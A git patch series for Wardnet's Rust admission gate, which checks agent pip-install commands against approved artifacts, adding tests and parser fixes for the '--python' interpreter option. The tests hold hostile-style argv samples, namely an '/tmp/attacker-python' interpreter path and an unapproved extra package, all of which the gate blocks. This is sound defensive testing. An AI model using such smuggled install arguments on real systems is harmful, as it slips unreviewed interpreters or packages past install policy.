b/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs @@ -0,0 +1,155 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const INTERPRETER: &str = "/tmp/attacker-python"; + +#[test] +fn post_command_exact_pip_python_value_is_option_grammar_not_an_artifact() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot], + "{executable} post-command --python must consume its interpreter value as General Option grammar rather than manufacture an artifact finding" + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "policy normalization must retain the exact submitted argv as audit identity" + ); + } +} + +#[test] +fn post_command_attached_pip_python_keeps_the_reviewed_package_operand_visible() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + format!("--python={INTERPRETER}"), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!(decision.reason_codes, vec![ReasonCode::AlternateInstallRoot]); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn post_command_pip_python_selector_still_exposes_a_real_extra_package() { + for executable in ["pip", "pip3"] { + for python_argument in [ + vec!["--python".to_string(), INTERPRETER.to_string()], + vec![format!("--python={INTERPRETER}")], + ] { + let (policy, mut intent) = approved_pip_install(executable); + let mut argv = vec![executable.to_string(), "install".to_string()]; + argv.extend(python_argument); + argv.extend([ + ARTIFACT_ARGUMENT.to_string(), + "unapproved-extra==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]); + intent.argv = argv; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ], + "consuming interpreter option grammar must not hide a genuine second package operand" + ); + } + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-post-command-python-interpreter-authority".to_string(), + policy_revision: "2026-09-12.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-post-command-python-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From d6fe73e34091a302e0128df40716ae99d15d9aca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:42:24 +0900 Subject: [PATCH 522/702] test(admission): format corrected post-command Python RED --- .../tests/pypi_python_interpreter_post_command_contract.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs index 289cb57b..febd95c5 100644 --- a/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_post_command_contract.rs @@ -59,7 +59,10 @@ fn post_command_attached_pip_python_keeps_the_reviewed_package_operand_visible() let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert_eq!(decision.reason_codes, vec![ReasonCode::AlternateInstallRoot]); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); assert_eq!( decision.command_sha256, sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) From bf28a60c34bf81e57208921e40653bc17e82e45b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:46:21 +0900 Subject: [PATCH 523/702] fix(admission): consume post-command pip Python interpreter value --- crates/agent-artifact-admission/src/lib.rs | 7 + .../src/pypi_python_interpreter_authority.rs | 121 +++++++++++++++++- 2 files changed, 127 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index cc726b2d..e0245dba 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -53,6 +53,13 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A let global_normalized_intent = pypi_global_option_authority::normalize_reviewed_direct_pip_global_options(intent); let intent = global_normalized_intent.as_ref().unwrap_or(intent); + let post_command_python_normalized_intent = + pypi_python_interpreter_authority::normalize_reviewed_post_command_pip_python_interpreter_value( + intent, + ); + let intent = post_command_python_normalized_intent + .as_ref() + .unwrap_or(intent); let certificate_store_normalized_intent = pypi_certificate_store_authority::normalize_reviewed_pypi_certificate_store_values(intent); let intent = certificate_store_normalized_intent diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index d93e9723..ef6b3d88 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -15,6 +15,57 @@ pub(crate) fn matches_pip_python_interpreter_option(argument: &str) -> bool { matches!(option, "--py" | "--pyt" | "--pyth" | "--pytho" | "--python") } +/// Normalize an exact post-command `pip install --python VALUE` selector only in +/// Wardnet's internal policy copy. +/// +/// pip's install-command parser also defines `--python-version`, so abbreviated +/// `--py...` spellings are intentionally not accepted in this post-command seam. +/// Attaching the consumed value prevents the selected interpreter path from being +/// mistaken for a package operand while the public decision wrapper preserves the +/// exact caller-submitted argv as audit identity. This performs no interpreter +/// discovery, execution, environment mutation, or filesystem access. +pub(crate) fn normalize_reviewed_post_command_pip_python_interpreter_value( + intent: &InstallIntent, +) -> Option { + let executable = intent.argv.first()?.as_str(); + if !matches!(executable, "pip" | "pip3") + || !intent + .argv + .get(1) + .is_some_and(|argument| argument == "install") + { + return None; + } + + let mut argv = intent.argv.clone(); + let mut index = 2; + let mut changed = false; + while index < argv.len() { + if argv[index] != "--python" { + index += 1; + continue; + } + + let value = argv.get(index + 1)?.clone(); + if value.is_empty() || value.starts_with('-') { + return None; + } + + argv[index] = format!("--python={value}"); + argv.remove(index + 1); + changed = true; + index += 1; + } + + if !changed { + return None; + } + + let mut normalized = intent.clone(); + normalized.argv = argv; + Some(normalized) +} + /// Detect caller-selected Python-interpreter authority after direct-pip global /// option normalization has produced the ordinary `pip install` policy shape. pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( @@ -41,7 +92,11 @@ pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( #[cfg(test)] mod tests { - use super::matches_pip_python_interpreter_option; + use super::{ + matches_pip_python_interpreter_option, + normalize_reviewed_post_command_pip_python_interpreter_value, + }; + use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; #[test] fn pip_python_prefix_matcher_is_bounded_to_verified_unambiguous_language() { @@ -56,4 +111,68 @@ mod tests { assert!(!matches_pip_python_interpreter_option(rejected)); } } + + #[test] + fn post_command_normalizer_is_exact_and_consumes_only_python_value() { + let intent = test_intent(vec![ + "pip", + "install", + "--python", + "/tmp/python", + "cwl-example==1.2.3", + ]); + let normalized = normalize_reviewed_post_command_pip_python_interpreter_value(&intent) + .expect("exact post-command --python should normalize"); + assert_eq!( + normalized.argv, + vec![ + "pip", + "install", + "--python=/tmp/python", + "cwl-example==1.2.3" + ] + ); + + for unreviewed in ["--py", "--pyt", "--pyth", "--pytho", "--python-version"] { + let intent = test_intent(vec![ + "pip", + "install", + unreviewed, + "/tmp/python", + "cwl-example==1.2.3", + ]); + assert!( + normalize_reviewed_post_command_pip_python_interpreter_value(&intent).is_none(), + "post-command {unreviewed} must not inherit exact --python grammar" + ); + } + } + + fn test_intent(argv: Vec<&str>) -> InstallIntent { + InstallIntent { + request_id: "req-python-normalizer".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: argv.into_iter().map(str::to_string).collect(), + manifest_sha256: + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }], + } + } } From c3d8499897cc6602c13531d87756f419cc91f186 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:47:57 +0900 Subject: [PATCH 524/702] style(admission): apply rustfmt to Python interpreter normalizer --- .../src/pypi_python_interpreter_authority.rs | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index ef6b3d88..e2c95e50 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -155,8 +155,8 @@ mod tests { workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), argv: argv.into_iter().map(str::to_string).collect(), - manifest_sha256: - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, uri: None, @@ -168,9 +168,8 @@ mod tests { version: "1.2.3".to_string(), registry_url: "https://pypi.org/simple".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), artifact_argument: "cwl-example==1.2.3".to_string(), }], } From 6df63d8ae81800fffcbd51009ac82c3035c69ea8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 15:52:43 +0900 Subject: [PATCH 525/702] fix(admission): stop pip Python normalization at option terminator --- .../src/pypi_python_interpreter_authority.rs | 21 +++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index e2c95e50..ac82b61d 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -22,8 +22,9 @@ pub(crate) fn matches_pip_python_interpreter_option(argument: &str) -> bool { /// `--py...` spellings are intentionally not accepted in this post-command seam. /// Attaching the consumed value prevents the selected interpreter path from being /// mistaken for a package operand while the public decision wrapper preserves the -/// exact caller-submitted argv as audit identity. This performs no interpreter -/// discovery, execution, environment mutation, or filesystem access. +/// exact caller-submitted argv as audit identity. The `--` option terminator ends +/// this grammar. This performs no interpreter discovery, execution, environment +/// mutation, or filesystem access. pub(crate) fn normalize_reviewed_post_command_pip_python_interpreter_value( intent: &InstallIntent, ) -> Option { @@ -41,6 +42,9 @@ pub(crate) fn normalize_reviewed_post_command_pip_python_interpreter_value( let mut index = 2; let mut changed = false; while index < argv.len() { + if argv[index] == "--" { + break; + } if argv[index] != "--python" { index += 1; continue; @@ -148,6 +152,19 @@ mod tests { } } + #[test] + fn post_command_normalizer_respects_option_termination() { + let intent = test_intent(vec![ + "pip", + "install", + "--", + "--python", + "/tmp/python", + "cwl-example==1.2.3", + ]); + assert!(normalize_reviewed_post_command_pip_python_interpreter_value(&intent).is_none()); + } + fn test_intent(argv: Vec<&str>) -> InstallIntent { InstallIntent { request_id: "req-python-normalizer".to_string(), From 87299e9280d8e0cce806a9143f39274c12246671 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 16:03:16 +0900 Subject: [PATCH 526/702] test(admission): expose pip interpreter parser-phase evidence drift --- ...ython_interpreter_parser_phase_contract.rs | 189 ++++++++++++++++++ 1 file changed, 189 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs new file mode 100644 index 00000000..915ccf44 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs @@ -0,0 +1,189 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; +const INTERPRETER: &str = "/tmp/attacker-python"; + +#[test] +fn pre_command_verified_python_abbreviation_retains_interpreter_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "--py".to_string(), + INTERPRETER.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!(decision.reason_codes, vec![ReasonCode::AlternateInstallRoot]); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn post_command_ambiguous_python_prefix_must_not_claim_interpreter_authority() { + for executable in ["pip", "pip3"] { + for option in ["--py", "--pyt", "--pyth", "--pytho"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + option.to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "{executable} post-command {option} is ambiguous with --python-version and must not be represented as verified interpreter authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } + } +} + +#[test] +fn option_terminated_python_like_operand_must_not_claim_interpreter_authority() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + "--".to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot), + "tokens after -- are positional grammar and must not be reported as interpreter authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) + ); + } +} + +#[test] +fn exact_post_command_python_selector_remains_causal_and_does_not_hide_extra_package() { + for executable in ["pip", "pip3"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv = vec![ + executable.to_string(), + "install".to_string(), + "--python".to_string(), + INTERPRETER.to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ]; + assert_eq!( + admission_decision(&policy, &intent).reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); + + intent.argv.insert(5, "unapproved-extra==9.9.9".to_string()); + assert_eq!( + admission_decision(&policy, &intent).reason_codes, + vec![ + ReasonCode::AlternateInstallRoot, + ReasonCode::ArtifactNotApproved, + ] + ); + } +} + +fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-python-interpreter-parser-phase".to_string(), + policy_revision: "2026-09-12.3".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-pypi-python-parser-phase-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-input".to_string(), + ], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 0b7838a166987c89bba2ff7f853249bf8e6ae1c4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 16:04:31 +0900 Subject: [PATCH 527/702] style(admission): apply rustfmt to parser-phase RED --- .../tests/pypi_python_interpreter_parser_phase_contract.rs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs b/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs index 915ccf44..aedcb965 100644 --- a/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_python_interpreter_parser_phase_contract.rs @@ -28,7 +28,10 @@ fn pre_command_verified_python_abbreviation_retains_interpreter_authority() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert_eq!(decision.reason_codes, vec![ReasonCode::AlternateInstallRoot]); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateInstallRoot] + ); assert_eq!( decision.command_sha256, sha256_hex(submitted_argv.join("\u{1f}").as_bytes()) From 3d6901958d23c8df6cdd6a3e0a3bac371ffbf008 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 16:07:39 +0900 Subject: [PATCH 528/702] fix(admission): canonicalize pre-command pip Python authority --- .../src/pypi_global_option_authority.rs | 29 +++++++++++-------- 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index c6a111cc..715aa215 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -124,23 +124,28 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( } if matches_pip_python_interpreter_option(argument) { - if let Some((_, value)) = argument.split_once('=') { + let value = if let Some((_, value)) = argument.split_once('=') { if value.is_empty() { return None; } - reviewed_global_arguments.push(arguments[index].clone()); index += 1; + value.to_string() } else { - // The interpreter path is consumed General Option grammar, not a - // package operand. Keep it attached only in the internal policy - // copy so artifact cardinality remains exact; the wrapper restores - // the caller-submitted argv hash before returning the decision. - push_attached_normalized_value_argument( - arguments, - &mut reviewed_global_arguments, - &mut index, - )?; - } + let value = arguments.get(index + 1)?; + if value == "install" || value.starts_with('-') || value.is_empty() { + return None; + } + index += 2; + value.clone() + }; + + // A verified pre-command abbreviation is General Option grammar, but + // the same spelling can be ambiguous in `pip install` grammar because + // that parser also defines `--python-version`. Canonicalize only the + // internal policy copy to exact `--python=VALUE` so the pre-command + // meaning survives phase normalization without widening post-command + // authority. The submitted argv remains the audit/hash authority. + reviewed_global_arguments.push(format!("--python={value}")); continue; } From cfde65120925fc091941285d6214ad65aa5bbeba Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 16:08:08 +0900 Subject: [PATCH 529/702] fix(admission): partition pip Python evidence by parser phase --- .../src/pypi_python_interpreter_authority.rs | 70 ++++++++++++++++--- 1 file changed, 61 insertions(+), 9 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index ac82b61d..90a32162 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -6,13 +6,16 @@ use crate::InstallIntent; /// with the selected interpreter. Python `optparse` accepts unambiguous long-option /// prefixes; in the pinned pip General Options set, `--p` is ambiguous with /// `--proxy`, while `--py` through `--python` uniquely select `--python`. -/// This matcher is intentionally scoped to pip and is not shared with uv or any -/// other package-manager grammar. +/// This matcher is intentionally scoped to pip's pre-command General Options and +/// is not shared with post-command or other package-manager grammar. pub(crate) fn matches_pip_python_interpreter_option(argument: &str) -> bool { let option = argument .split_once('=') .map_or(argument, |(option, _)| option); - matches!(option, "--py" | "--pyt" | "--pyth" | "--pytho" | "--python") + matches!( + option, + "--py" | "--pyt" | "--pyth" | "--pytho" | "--python" + ) } /// Normalize an exact post-command `pip install --python VALUE` selector only in @@ -72,6 +75,10 @@ pub(crate) fn normalize_reviewed_post_command_pip_python_interpreter_value( /// Detect caller-selected Python-interpreter authority after direct-pip global /// option normalization has produced the ordinary `pip install` policy shape. +/// +/// At this parser phase only exact `--python` is authoritative: abbreviated +/// `--py...` forms are ambiguous with `--python-version`. Tokens after `--` are +/// positional grammar and are never classified as interpreter authority. pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( intent: &InstallIntent, ) -> bool { @@ -87,11 +94,20 @@ pub(crate) fn requests_unapproved_pypi_python_interpreter_authority( return false; } - intent - .argv - .iter() - .skip(2) - .any(|argument| matches_pip_python_interpreter_option(argument)) + for argument in intent.argv.iter().skip(2) { + if argument == "--" { + break; + } + if argument == "--python" + || argument + .split_once('=') + .is_some_and(|(option, value)| option == "--python" && !value.is_empty()) + { + return true; + } + } + + false } #[cfg(test)] @@ -99,11 +115,12 @@ mod tests { use super::{ matches_pip_python_interpreter_option, normalize_reviewed_post_command_pip_python_interpreter_value, + requests_unapproved_pypi_python_interpreter_authority, }; use crate::{ArtifactCoordinate, InstallIntent, InstructionSource, InstructionSourceKind}; #[test] - fn pip_python_prefix_matcher_is_bounded_to_verified_unambiguous_language() { + fn pip_python_prefix_matcher_is_bounded_to_verified_unambiguous_global_language() { for accepted in ["--py", "--pyt", "--pyth", "--pytho", "--python"] { assert!(matches_pip_python_interpreter_option(accepted)); assert!(matches_pip_python_interpreter_option(&format!( @@ -152,6 +169,41 @@ mod tests { } } + #[test] + fn post_command_authority_is_exact_and_stops_at_option_terminator() { + assert!(requests_unapproved_pypi_python_interpreter_authority( + &test_intent(vec![ + "pip", + "install", + "--python=/tmp/python", + "cwl-example==1.2.3", + ]) + )); + + for unreviewed in ["--py", "--pyt", "--pyth", "--pytho"] { + assert!(!requests_unapproved_pypi_python_interpreter_authority( + &test_intent(vec![ + "pip", + "install", + unreviewed, + "/tmp/python", + "cwl-example==1.2.3", + ]) + )); + } + + assert!(!requests_unapproved_pypi_python_interpreter_authority( + &test_intent(vec![ + "pip", + "install", + "--", + "--python", + "/tmp/python", + "cwl-example==1.2.3", + ]) + )); + } + #[test] fn post_command_normalizer_respects_option_termination() { let intent = test_intent(vec![ From e01f2860e2700b7f817c461afb44558c2036d69c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 16:14:31 +0900 Subject: [PATCH 530/702] style(admission): apply rustfmt to parser-phase repair --- .../src/pypi_python_interpreter_authority.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs index 90a32162..0a9a1700 100644 --- a/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_python_interpreter_authority.rs @@ -12,10 +12,7 @@ pub(crate) fn matches_pip_python_interpreter_option(argument: &str) -> bool { let option = argument .split_once('=') .map_or(argument, |(option, _)| option); - matches!( - option, - "--py" | "--pyt" | "--pyth" | "--pytho" | "--python" - ) + matches!(option, "--py" | "--pyt" | "--pyth" | "--pytho" | "--python") } /// Normalize an exact post-command `pip install --python VALUE` selector only in From 17df03835d633ea79ac0d990feca46baf66919fb Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 01:34:13 +0900 Subject: [PATCH 531/702] test(security): expose uv bytecode compilation authority --- ...bytecode_compilation_authority_contract.rs | 98 +++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs new file mode 100644 index 00000000..423caf02 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_bytecode_compilation_authority_contract.rs @@ -0,0 +1,98 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_bytecode_compilation_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_compile_bytecode_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--compile-bytecode".to_string()); + + assert_bytecode_compilation_is_blocked(&policy, &intent); +} + +#[test] +fn uv_compile_alias_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--compile".to_string()); + + assert_bytecode_compilation_is_blocked(&policy, &intent); +} + +fn assert_bytecode_compilation_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) 